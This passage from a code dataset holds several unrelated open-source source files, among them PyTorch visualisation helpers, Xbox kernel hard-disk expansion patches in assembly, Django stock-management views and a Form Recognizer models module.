dm.squeeze()\n\n cmap = plt.cm.jet\n cmap.set_bad(color='black')\n plt.imshow(dm, cmap=cmap, vmax=np.log(MAX_DEPTH))\n plt.savefig(save_path)\n\n\ndef read2Tensor(img_path, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\"), transform=None):\n '''image path -> unet input (1 x 3 x H x W)'''\n\n img_t = read_image(img_path).to(torch.float32).unsqueeze(0).to(device)\n img_t = transform(img_t) \n return img_t\n\ndef readLabel2Tensor(label_path, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")):\n '''image path -> loss input (1 x H x W)'''\n\n label_t = read_image(label_path).to(torch.float32).unsqueeze(0).to(device)\n transform = transforms.Compose([transforms.Resize( (120, 480) )])\n label_t = transform(label_t) \n return label_t \n\ndef clsPred2Img(pred):\n '''singleton unet output (1 x K x H x W) in [0, num class] -> plottable grayscale image (H x W)'''\n pred = pred.squeeze(0)\n pred = pred.argmax(0)\n pred = pred.squeeze(0)\n pred = pred.to(\"cpu\").to(torch.long)\n return pred\n\ndef regPred2Img(pred):\n '''singleton unet output (1 x 1 x H x W) in [-1, 1] -> plottable grayscale image (H x W)'''\n pred = pred.squeeze(0)\n pred = pred.squeeze(0)\n # pred = (pred + 1) * 100\n pred = pred.to(\"cpu\").to(torch.float32)\n return pred \n\n\ndef displayInference(data, pred, save_dir, i, backend=\"cmap\"):\n image = data['rgb']\n label = data['label']\n original_image = data['original_rgb']\n original_label = data['original_label']\n print(\"inference data sizes\", image.shape, label.shape, original_image.shape, original_label.shape) \n \n image = image.permute(1, 2, 0).to(\"cpu\").to(torch.uint8)\n label = label.squeeze().to(torch.uint8).cpu().numpy()\n pred = pred.numpy()\n \n if backend == \"cmap\":\n cmap = plt.cm.jet\n cmap.set_bad(color=\"black\")\n\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(label, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_label, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(pred, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"pred\"+str(i)+\".png\"))\n elif backend == \"heatmap\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plt.figure()\n h = depth2Heatmap(label)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plt.figure()\n h = depth2Heatmap(original_label)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plt.figure()\n h = depth2Heatmap(pred)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"pred\"+str(i)+\".png\")) \n elif backend == \"DIODE\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plot_depth_map(label, np.ones_like(label), os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plot_depth_map(original_label, np.ones_like(original_label), os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plot_depth_map(pred, np.ones_like(pred), os.path.join(save_dir, \"pred\"+str(i)+\".png\"))\n elif backend == \"seg\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(label)\n plt.savefig(os.path.join(save_dir, \"label\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_image) \n plt.savefig(os.path.join(save_dir, \"oimg\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(original_label)\n plt.savefig(os.path.join(save_dir, \"olabel\"+str(i)+\".png\"))\n\n plt.figure()\n plt.imshow(pred)\n plt.savefig(os.path.join(save_dir, \"pred\"+str(i)+\".png\")) \n \n\nif __name__ == \"__main__\":\n print(torch.cuda.is_available())\n if torch.cuda.is_available():\n print(torch.cuda.device_count())\n print(torch.cuda.get_device_name(torch.cuda.device_count()-1))\n\n gpu_device = torch.device(\"cuda\")\n cpu_device = torch.device(\"cpu\")\n dataset = KITTI_DEP(TRAIN_RGB_PATHS, TRAIN_DEP_PATHS, device=cpu_device, qmark=True, original=False)\n dataloader = DataLoader(dataset, batch_size=16, shuffle=True, num_workers=4)\n\n # dataset.example(519)\n print('len', len(dataset))\n tic = time.time()\n for i, data in enumerate(dataloader):\n print(\"data rgb\", data['rgb'].shape)\n rgb = data['rgb'].to(gpu_device)\n label = data['label'].to(gpu_device)\n if i > 10:\n break\n print(\"time\", time.time() - tic) ", "source": "kshama2705/EECS442-final-project", "license": "MIT"}
+{"text": "CrfSegMoodPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\msr.crfsuite'\nHmmDIC = 'E:\\python_code\\Djangotest2\\cmdb\\model\\HMMDic.pkl'\nHmmDISTRIBUTION = 'E:\\python_code\\Djangotest2\\cmdb\\model\\HMMDistribution.pkl'\nCrfNERMoodPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\PKU.crfsuite'\nBiLSTMCXPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\BiLSTMCX'\nBiLSTMNERPath = 'E:\\python_code\\Djangotest2\\cmdb\\model\\BiLSTMNER'\n\n", "source": "Emmonss/SegmentAndNER-Web", "license": "MIT"}
+{"text": "import glob\nimport os\n\nimport pandas as pd\n\nfrom app.proto import MpsProtoAircraft\nfrom .trans import epsg4326_to_3857\n\n\ndef find_simudata_in_directory(directory: str):\n matchings = glob.glob1(directory, 'simudata_*')\n if matchings:\n return os.path.join(directory, matchings[0])\n else:\n raise FileNotFoundError(f'No simudata file found in {repr(directory)}.')\n\n\ndef simudata_file_in_directory(directory: str) -> str:\n return os.path.join(directory, 'simudata.csv')\n\n\ndef simudata_process_in_directory(directory: str, force: bool = False):\n return simudata_process(\n find_simudata_in_directory(directory),\n simudata_file_in_directory(directory),\n force=force,\n )\n\n\ndef simudata_trans(src_file: str) -> pd.DataFrame:\n mpa = MpsProtoAircraft()\n with open(src_file, 'rb') as f:\n con = f.read()\n index = 1\n data = {\n 'id': [],\n 'type': [],\n 'time': [],\n 'lng': [],\n 'lat': [],\n 'height': [],\n 'roll': [],\n 'pitch': [],\n 'yaw': [],\n 'speed': [],\n 'x': [],\n 'y': [],\n }\n while index < len(con):\n cur = index\n lengths = []\n while con[cur] >= 128:\n lengths.append(con[cur] - 128)\n cur += 1\n if len(lengths) < 5:\n lengths.append(con[cur])\n lengths.reverse()\n\n final_length = 0\n for length in lengths:\n final_length = final_length * 128 + length\n content = con[cur + 1:cur + 1 + final_length]\n mpa.ParseFromString(content)\n\n if mpa.head.type != 7030102:\n data['id'].append(mpa.head.id)\n data['type'].append(mpa.head.type)\n data['time'].append(mpa.head.time)\n data['lng'].append(mpa.head.lng)\n data['lat'].append(mpa.head.lat)\n data['height'].append(mpa.head.h)\n data['roll'].append(mpa.roll)\n data['pitch'].append(mpa.pitch)\n data['yaw'].append(mpa.yaw)\n data['speed'].append(mpa.speed)\n\n lng, lat = mpa.head.lng, mpa.head.lat\n x, y = epsg4326_to_3857(lng, lat)\n data['x'].append(x)\n data['y'].append(y)\n\n index = cur + 1 + final_length + 1\n\n return pd.DataFrame(data)\n\n\ndef simudata_process(src_file: str, dst_file: str, force: bool = False):\n if not force and os.path.exists(dst_file):\n return\n\n df = simudata_trans(src_file)\n df.to_csv(dst_file)\n", "source": "HansBug/dgdvapp", "license": "Apache-2.0"}
+{"text": "from .common import XboxPatch, PatchType\n\n#-----------------------------------------------------------------------------\n# M8+ Patch Definitions\n#-----------------------------------------------------------------------------\n\nclass Patch_HddStartVerify(XboxPatch):\n TYPE = PatchType.INLINE\n HOOK_ADDRESS = 0x800243AA\n\n EXPECTED_LENGTH = 1\n ASSEMBLY = \\\n \"\"\"\n int3\n \"\"\"\n\nclass Patch_HddVerify(XboxPatch):\n TYPE = PatchType.INLINE\n HOOK_ADDRESS = 0x8002443F\n\n EXPECTED_LENGTH = 1\n ASSEMBLY = \\\n \"\"\"\n int3\n \"\"\"\n\nclass Patch_HddCompleteRw(XboxPatch):\n TYPE = PatchType.INLINE\n HOOK_ADDRESS = 0x80024485\n\n EXPECTED_LENGTH = 78\n ASSEMBLY = \\\n \"\"\"\n\n ;\n ; this may look like a lot, but it is mostly the original code\n ; with a few things moved around so the tweaks can fit as a\n ; native inline patch\n ;\n\n loc_one:\n mov eax, [esi+4]\n and eax, 0FFFFFFF8h\n cmp eax, 20000h\n jbe loc_three\n call 0x80014FBA\n test al, al\n jz loc_two\n pop edi\n pop esi\n jmp 0x80024E48\n\n loc_two:\n add dword ptr [esi+4], 0FFFE0000h\n add dword ptr [esi+10h], 20000h\n add dword ptr [esi+0Ch], 20h\n push edi\n push dword ptr [esi+14h]\n call dword ptr ds:[0x8003BD30]\n jmp loc_four\n\n loc_three:\n mov [esi+4], eax\n nop\n nop\n and dword ptr [edi+10h], 0\n mov dl, 1\n mov ecx, edi\n call 0x8001660E\n nop\n\n loc_four:\n \"\"\"\n\nclass Patch_HddStartRw_Length(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x800244E6\n\n ASSEMBLY = \\\n \"\"\"\n ; clobbered by hook\n mov eax, 20000h\n\n ; TransferLength = IRP->Parameters.HddRw.Length & 0xFFFFFFF8\n and edi, 0xFFFFFFF8\n \"\"\"\n\nclass Patch_HddStartRw_Transfer(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80024534\n HOOK_RETURN = 0x80024560\n\n # ~120 bytes\n ASSEMBLY = \\\n \"\"\"\n\n ;\n ; StartingSector = IRP->Parameters.HddRw.StartingSector\n ; StartingSector <<= 3\n ;\n\n mov ebx, [esi+0Ch] ; ebx = StartingSector (in 4K)\n xor ecx, ecx\n shld ecx, ebx, 3\n shl ebx, 3 ; ecx:ebx = StartingSector (ecx = upper32, ebx = lower32)\n\n ;\n ; if (IRP->Parameters.HddRw.Length & 0x7)\n ;\n\n mov eax, [esi+4] ; eax = Length (in bytes)\n and eax, 7\n jz Lba48Transfer\n\n ;\n ; StartingSector += (IRP->Parameters.HddRw.Length & 0x7);\n ;\n\n add ebx, eax\n adc ecx, 0\n\n ;\n ; Lba48Transfer(HDD_DEVICE_NUMBER, StartingSector, SectorCount)\n ;\n ; ecx:ebx = StartingSector (in 512 sectors)\n ; edi = TransferLength (in bytes)\n ;\n\n Lba48Transfer:\n\n ; - WriteSectorCountPort((SectorCount & 0xFF00) >> 8));\n mov eax, edi\n shr eax, 11h\n mov dx, 1F2h\n out dx, al\n\n ; - WritePortByte(LBA48_LOW_REGISTER, (StartingSector & 0xFF000000) >> 24);\n mov edx, ecx\n mov eax, ebx\n shrd eax, edx, 18h\n shr edx, 18h\n mov dx, 1F3h\n out dx, al\n\n ; - WritePortByte(LBA48_MID_REGISTER, (StartingSector & 0xFF00000000) >> 32);\n mov al, cl\n inc dx\n out dx, al\n\n ; - WritePortByte(LBA48_HIGH_REGISTER, (StartingSector & 0xFF0000000000) >> 40));\n mov eax, ecx\n shr eax, 8\n mov dx, 1F5h\n out dx, al\n\n ; - WriteSectorCountPort(SectorCount & 0xFF);\n add dx, 0FFFDh\n mov eax, edi\n shr eax, 9\n out dx, al\n\n ; - WritePortByte(LBA48_LOW_REGISTER, (sector & 0xFF));\n mov dx, 1F3h\n mov al, bl\n out dx, al\n\n ; - WritePortByte(LBA48_MID_REGISTER, (sector & 0xFF00) >> 8);\n mov edx, ecx\n mov eax, ebx\n shrd eax, edx, 8\n shr edx, 8\n mov dx, 1F4h\n out dx, al\n\n ; - WritePortByte(LBA48_HIGH_REGISTER, (sector & 0xFF0000) >> 16);\n mov eax, ebx\n shrd eax, ecx, 10h\n shr ecx, 10h\n inc dx\n out dx, al\n\n ; - WriteDeviceSelectPort(HDD_DEVICE_NUMBER);\n mov dx, 1F6h\n mov al, 40h\n out dx, al\n\n ; 'fixup' for what the code normally expect dx to be on return\n mov dx, 1F2h\n \"\"\"\n\n FIXUPS = {\n 0x8002456A: \"mov al, 0x25\",\n 0x80024571: \"mov al, 0x35\"\n }\n\nclass Patch_HddRw_Save(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x80024632\n\n ASSEMBLY = \\\n \"\"\"\n ; clobbered by hook\n adc edx, dword ptr [ebp-4]\n\n ; 4K shift (also, clobbered, technically)\n mov cl, 12\n\n ; save lower32 of StartOffset back to stack\n mov [ebp-8], eax\n \"\"\"\n\nclass Patch_HddRw_Smuggle(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x8002465B\n HOOK_RETURN = HOOK_ADDRESS + 7\n\n ASSEMBLY = \\\n \"\"\"\n ; clobbered by hook\n mov eax, [edi+5Ch]\n or byte ptr [eax+3], 1\n\n ; fetch lower32 of StartOffset\n mov eax, dword ptr [ebp-8]\n\n ; compute remaining 512 segments\n shr eax, 9\n and eax, 7\n\n ; smuggle remaining segments through length field\n or dword ptr [esi+4], eax\n \"\"\"\n\nclass Patch_HddGetDriveGeometry(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x800246F3\n HOOK_RETURN = 0x80024702\n\n ASSEMBLY = \\\n \"\"\"\n mov edx, dword ptr ds:[0x8003C3B8]\n mov eax, [ecx+30h]\n mov [eax], edx\n mov edx, dword ptr ds:[0x8003C3B8+4]\n mov [eax+4], edx\n \"\"\"\n\nclass Patch_HddPartitionCreate(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x8002F066\n HOOK_RETURN = 0x8002F07C\n\n ASSEMBLY = \\\n \"\"\"\n\n ; eax:edx = g_HddSectors\n load_size:\n mov edx, dword ptr ds:[0x8003C3B8+4]\n mov eax, dword ptr ds:[0x8003C3B8]\n\n ;\n ; Check if g_HddSectors appears larger than what is normally\n ; used by retail systems (0xEE8AB0 sectors)\n ;\n\n test_upper:\n test edx, edx\n jnz compute_f_length ; upper32 bits set, clearly non-retail hdd\n\n test_lower:\n cmp eax, 0xEE8AB0\n jbe 0x8002F05C ; retail, do not honor the partition creation request\n\n compute_f_length:\n\n ; push SectorSize (64bit)\n push 0\n push 0x200\n\n ; push g_HddSectors (64bit)\n push edx\n push eax\n\n ; mul64(g_HddSectors, SectorSize)\n call 0x8002E030\n \"\"\"\n\nclass Patch_HddCreateQuick(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80024B5A\n HOOK_RETURN = 0x80024B61\n\n ASSEMBLY = \\\n \"\"\"\n ; save ecx (will get clobbered by mul64)\n push ecx\n\n ; push SectorSize (64bit)\n xor esi, esi ; esi also needs to be 0, returning from this patch\n push esi\n push edx ; edx is 512 (a.k.a, standard sector size)\n\n ; push g_HddSectors (64bit)\n mov edx, dword ptr ds:[0x8003C3B8+4]\n mov eax, dword ptr ds:[0x8003C3B8]\n push edx\n push eax\n\n ; mul64(g_HddSectors, SectorSize)\n call 0x8002E030\n\n ; restore ecx\n pop ecx\n \"\"\"\n\nclass Patch_HddCreate(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x8005546D\n\n ASSEMBLY = \\\n \"\"\"\n ; eax:ecx = IdentifyData.Max48BitLBA\n mov eax, dword ptr [ebp-0x160]\n mov ecx, dword ptr [ebp-0x15C]\n\n ; ULONGLONG g_HddSectors = eax:ecx\n mov dword ptr ds:[0x8003C3B8], eax\n mov dword ptr ds:[0x8003C3B8+4], ecx\n \"\"\"\n\nclass Patch_FatxParseSupeblock(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80027143\n HOOK_RETURN = 0x800271D9\n\n ASSEMBLY = \\\n \"\"\"\n ; 128 clusters per sector\n jz 0x80027149\n\n ; 256 clusters per sector\n sub ecx, 128\n jz 0x80027149\n\n ; 512 clusters per sector\n sub ecx, 256\n jz 0x80027149\n\n ; 1024 clusters per sector\n sub ecx, 512\n jz 0x80027149\n \"\"\"\n\nclass Patch_FatxStartAsyncIo(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80029CE5\n HOOK_RETURN = 0x80029CFB\n\n ASSEMBLY = \\\n \"\"\"\n ;\n ; ebx = PhysicalLen\n ; eax = VolInfo\n ; edx = IoEntry\n ;\n\n ; ExtraSectors = IoLength & 7\n mov ecx, ebx\n and ecx, 7\n\n ;\n ; remove smuggled bits from IoLength\n ;\n ; PhysicalLen &= 0xFFFFFFF8\n ; IoEntry->PhysicalLen = PhysicalLen\n ;\n\n and ebx, 0xFFFFFFF8\n mov [edx+4], ebx\n\n ; AsyncDescriptor->LenRemaining -= PhysicalLen\n sub [esi+8], ebx\n\n ; eax = VolInfo->SectorShift\n movzx eax, byte ptr [eax+20h]\n\n ; ExtraSectorBytes = ExtraSectors << Volume->SectorShift\n xchg eax, ecx\n shl eax, cl\n xchg eax, ecx\n\n ; this is just temporary storage :-)\n ; NextIRP->Parameters.Read.ByteOffset.Lower32 = ExtraSectorBytes\n mov [edi+0Ch], ecx\n\n ; BigSectorShift = SectorShift + 3\n ; ecx = BigSectorShift\n add eax, 3\n mov ecx, eax\n\n ; result = (ULONGLONG)IoEntry->PhysicalSector << BigSectorShift\n mov eax, [edx]\n xor edx, edx\n call 0x8002E4C0 ; eax:edx = result\n\n ; NextIRP->Parameters.Read.ByteOffset.QuadPart = result + ExtraSectorBytes\n add [edi+0Ch], eax\n adc edx, 0\n mov [edi+10h], edx\n \"\"\"\n\nclass Patch_FatxAsyncIo(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x80029E5B\n\n ASSEMBLY = \\\n \"\"\"\n ; eax = (ULONG)(PhysicalOffset >> (VolInfo->SectorShift + 3))\n add ecx, 3\n call 0x8002E4A0\n\n ; PhysicalLen |= ((ULONG)(PhysicalOffset >> VolInfo->SectorShift) & 7)\n mov edx, [ebp-18h] ; edx = PhysicalOffset\n mov cl, byte ptr [edi+20h] ; cl = VolInfo->SectorShift\n shr edx, cl ; edx >>= VolInfo->SectorShift\n and edx, 7 ; edx &= 7\n or [ebp+1Ch], edx ; PhysicalLen |= edx\n \"\"\"\n\n#-----------------------------------------------------------------------------\n# Enumerate Patches\n#-----------------------------------------------------------------------------\n\nKERNEL_PATCHES = \\\n[\n # TODO: these should probably patched for completeness but appear unused\n Patch_HddStartVerify,\n Patch_HddVerify,\n\n # LBA48 + sector expansion\n Patch_HddStartRw_Length,\n Patch_HddStartRw_Transfer,\n Patch_HddRw_Save,\n Patch_HddRw_Smuggle,\n Patch_HddCompleteRw,\n\n # expand g_HddSectors to 64bit\n Patch_HddGetDriveGeometry,\n Patch_HddPartitionCreate,\n Patch_HddCreateQuick,\n Patch_HddCreate,\n\n # allow larger cluster sizes (up to 512kb)\n Patch_FatxParseSupeblock,\n\n # smuggle sector bits for async disk IO\n Patch_FatxStartAsyncIo,\n Patch_FatxAsyncIo\n]", "source": "MakeMHz/titan", "license": "MIT"}
+{"text": "import math\nimport fractions\nimport functools\n\ndef lcm(a,b):\n return a // fractions.gcd(a,b) * b\n\nk = int(input())\nm = functools.reduce(lcm, range(1,k+1), 1)\n\nn = 2*m\nh = [0] * (n+1)\nqs = range(1,k+1)\n\nfor a in qs:\n for x in range(-m,m+1):\n y = 10*a*x\n if abs(y) <= 10*m:\n h[m+x] = y\n\nhmin = min(h)\nfor i in range(n+1):\n h[i] -= hmin\n\nprint('%d %d' % (n,len(qs)))\nprint(' '.join(str(y) for y in h))\nprint('\\n'.join('%.1f' % a for a in qs))\n", "source": "Shahraaz/CP_P_S5", "license": "MIT"}
+{"text": "import sqlite3\nfrom typing import List\nfrom datetime import datetime\n\n\n# \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n# \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\n# \u2588\u2588 \u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\n# \u2588\u2588 \u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\n# \u2588\u2588\u2588 \u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\n\n\nclass DB_WAITLIST:\n conn: sqlite3.Connection\n\n def add_user_to_waitlist(self, student_id: int, problem_id: int):\n args = locals()\n args['ts'] = datetime.now().isoformat()\n cur = self.conn.cursor()\n cur.execute(\"\"\"\n INSERT INTO waitlist ( student_id, entered, problem_id )\n VALUES (:student_id, :ts, :problem_id )\n \"\"\", args)\n self.conn.commit()\n\n def remove_user_from_waitlist(self, student_id: int):\n args = locals()\n cur = self.conn.cursor()\n cur.execute(\"\"\"\n DELETE FROM waitlist\n WHERE student_id = :student_id\n \"\"\", args)\n self.conn.commit()\n\n def get_waitlist_top(self, top_n: int) -> List[dict]:\n args = locals()\n cur = self.conn.cursor()\n cur.execute(\"\"\"\n SELECT * FROM waitlist\n ORDER BY entered\n LIMIT :top_n\n \"\"\", args)\n return cur.fetchall()\n", "source": "ShashkovS/vmsh_tasks_bot", "license": "MIT"}
+{"text": "from itertools import chain\nfrom .exprs import *\n\ndef predicate_to_cnf(e):\n \"\"\"\n Split AND tree into a list of conditions\n \"\"\"\n if not e:\n return []\n if e.is_type(\"Expr\") and e.op.lower() == \"and\":\n return list(chain(*map(predicate_to_cnf, [e.l, e.r])))\n if e.is_type(\"Paren\"):\n return [e.c]\n return [e]\n\ndef cnf_to_predicate(conds):\n \"\"\"\n turn list of conditions into an AND tree\n \"\"\"\n if not conds: return None\n cond = conds[0]\n for c in conds[1:]:\n cond = Expr(\"and\", cond, c)\n return cond\n\n\n", "source": "ivychen/databass-public", "license": "MIT"}
+{"text": "\"\"\"Test and test imports.\"\"\"\nfrom .radix_sort import radix_sort\nimport pytest\n\n\ndef test_empty_radix_sort():\n \"\"\"Test empty radix sort.\"\"\"\n assert radix_sort([]) == []\n\n\ndef test_small_radix_sort():\n \"\"\"Test small radix sort.\"\"\"\n assert radix_sort([1, 2, 3]) == [1, 2, 3]\n\n\ndef test_large_radix_sort():\n \"\"\"Test large radix sort.\"\"\"\n assert radix_sort([910, 78, 56, 34, 12]) == [12, 34, 56, 78, 910]", "source": "jayadams011/data-structures-and-algorithms", "license": "MIT"}
+{"text": "import subprocess\n\nclass Cmd:\n\tdef __init__(self, output_file, description, params):\n\t\tself.output_file = output_file\n\t\tself.description = description\n\t\tself.params = params\n\ncmds = [\n\tCmd(\"simple.png\", \"Simple\", \"\"),\n\tCmd(\"smoothed.png\", \"With smoothed elevations\", \"-sme\"),\n\tCmd(\"with_srtm_elevations.png\", \"With SRTM elevations\", \"-srtm\"),\n\tCmd(\"simple.svg\", \"SVG output\", \"-s 200,100\"),\n\tCmd(\"imperial.png\", \"Imperial units\", \"-im\"),\n\tCmd(\"custom_size.png\", \"Custom size\", \"-s 900,300\"),\n\tCmd(\"thicker_line.png\", \"Custom line width\", \"-lw 2\"),\n\tCmd(\"no_padding.png\", \"No padding\", \"-p 0,0,0,0\"),\n\tCmd(\"custom_padding.png\", \"Padding\", \"-p 50,20,20,20\" ),\n\tCmd(\"custom_font_size.png\", \"Custom font size\", \"-p 100,20,0,0 -f 10,20\"),\n\tCmd(\"custom_grid.png\", \"Custom grid\", \"-g 50,20\"),\n\tCmd(\"custom_labels.png\", \"Custom labels\", \"-l 250,20\"),\n\tCmd(\"custom_chart_padding.png\", \"Custom chart padding\", \"-cp 500,50,500,50\"),\n]\n\n\nfor cmd in cmds:\n\tcommand = f\"gpxchart {cmd.params} test_files/zbevnica.gpx examples/{cmd.output_file}\"\n\tsubprocess.check_output(command.replace(\" \", \" \").split(\" \"))\n\tprint(f\"### {cmd.description}\\n\")\n\tprint(f\"`{command}`\\n\")\n\tprint(f\"\\n\")\n\nprint(\"\\n\\n^^^^^ COPY TO README\\n\\n\")", "source": "tkrajina/gpxchart", "license": "Apache-2.0"}
+{"text": "from django.shortcuts import render, render_to_response, redirect\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login\nfrom webpush import send_user_notification\nfrom .models import stock\nfrom django.core import serializers\nfrom django.http import JsonResponse\n\n# Create your views here.\n\n\ndef sign_up(request):\n form = UserCreationForm(request.POST)\n\n if request.method == 'POST':\n if form.is_valid():\n form.save()\n\n return redirect('user_login')\n\n return render(request=request, template_name=\"sign_up.html\", context={\"form\":form})\n\n\ndef user_login(request):\n form = AuthenticationForm()\n\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n \n if user is not None:\n payload = {\"head\": \"Welcome!\", \"body\": \"Hello World\"}\n send_user_notification(user=user, payload=payload, ttl=1000)\n login(request, user)\n return render(request=request, template_name=\"home.html\", context={\"form\":form})\n\n else:\n return render(request=request, template_name=\"login.html\", context={\"form\":form})\n\n return render(request=request, template_name=\"login.html\", context={\"form\":form})\n\n\ndef git_view(request):\n return render(request=request, template_name=\"githud.html\")\n\n\ndef push_view(request):\n\n return render(request=request, template_name=\"push.html\")\n\n\ndef stock_view(request):\n if request.method == 'POST':\n if request.POST['name'] and request.POST['quantity']:\n post = stock()\n post.item = request.POST['name']\n post.qnt = request.POST['quantity']\n post.save()\n \n return render(request, 'stock_inster.html') \n\n else:\n return render(request, 'stock_inster.html')\n\n\ndef stock_fetch(request):\n data = stock.objects.values()\n \n #post_list = serializers.serialize('json', list(data))\n\n return JsonResponse({'result': list(data)})\n\n\ndef stock_disp(request):\n return render(request, \"stock_fetch.html\")\n\n\ndef stock_update(request):\n if request.POST['item'] and request.POST['quantity']:\n stock.objects.filter(id=request.POST['item']).update(qnt=request.POST['quantity'])\n return render(request, 'stock_update.html')\n return render(request, 'stock_update.html')", "source": "nutansonale/Django_PWA_container", "license": "MIT"}
+{"text": "from distutils.core import setup\nfrom Cython.Build import cythonize\n\nsrc = [\n 'sic/core.py',\n 'sic/implicit.py'\n]\n\nsetup(ext_modules=cythonize(src, compiler_directives={'language_level': '3'}, build_dir='cythonized'))\n", "source": "pgolo/sic", "license": "MIT"}
+{"text": "# coding=utf-8\n# ------------------------------------\n# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT License.\n# ------------------------------------\n\n# pylint: disable=protected-access, too-many-lines\n\nfrom typing import Any, Iterable, List\nfrom enum import Enum\nfrom collections import namedtuple\nfrom ._generated.v2022_01_30_preview.models import ModelInfo, Error\nfrom ._helpers import (\n adjust_value_type,\n adjust_confidence,\n get_element,\n adjust_text_angle,\n _get_deserialize,\n)\n\n\ndef prepare_document_spans(spans):\n return [DocumentSpan._from_generated(span) for span in spans] if spans else []\n\n\ndef prepare_bounding_regions(regions):\n return (\n [BoundingRegion._from_generated(region) for region in regions]\n if regions\n else []\n )\n\n\ndef get_bounding_box(field):\n return (\n [\n Point(x=field.bounding_box[0], y=field.bounding_box[1]),\n Point(x=field.bounding_box[2], y=field.bounding_box[3]),\n Point(x=field.bounding_box[4], y=field.bounding_box[5]),\n Point(x=field.bounding_box[6], y=field.bounding_box[7]),\n ]\n if field.bounding_box\n else None\n )\n\n\ndef resolve_element(element, read_result):\n element_type, element, page = get_element(element, read_result)\n if element_type == \"word\":\n return FormWord._from_generated(element, page=page)\n if element_type == \"line\":\n return FormLine._from_generated(element, page=page)\n if element_type == \"selectionMark\":\n return FormSelectionMark._from_generated(element, page=page)\n raise ValueError(\"Failed to parse element reference.\")\n\n\ndef get_field_value(\n field, value, read_result\n): # pylint: disable=too-many-return-statements\n if value is None:\n return value\n if value.type == \"string\":\n return value.value_string\n if value.type == \"number\":\n return value.value_number\n if value.type == \"integer\":\n return value.value_integer\n if value.type == \"date\":\n return value.value_date\n if value.type == \"phoneNumber\":\n return value.value_phone_number\n if value.type == \"time\":\n return value.value_time\n if value.type == \"array\":\n return (\n [\n FormField._from_generated(field, value, read_result)\n for value in value.value_array\n ]\n if value.value_array\n else []\n )\n if value.type == \"object\":\n return (\n {\n key: FormField._from_generated(key, value, read_result)\n for key, value in value.value_object.items()\n }\n if value.value_object\n else {}\n )\n if value.type == \"selectionMark\":\n return value.value_selection_mark\n if value.type == \"countryRegion\":\n return value.value_country_region\n return None\n\n\ndef get_field_value_v3(value): # pylint: disable=too-many-return-statements\n if value is None:\n return value\n if value.type == \"string\":\n return value.value_string\n if value.type == \"number\":\n return value.value_number\n if 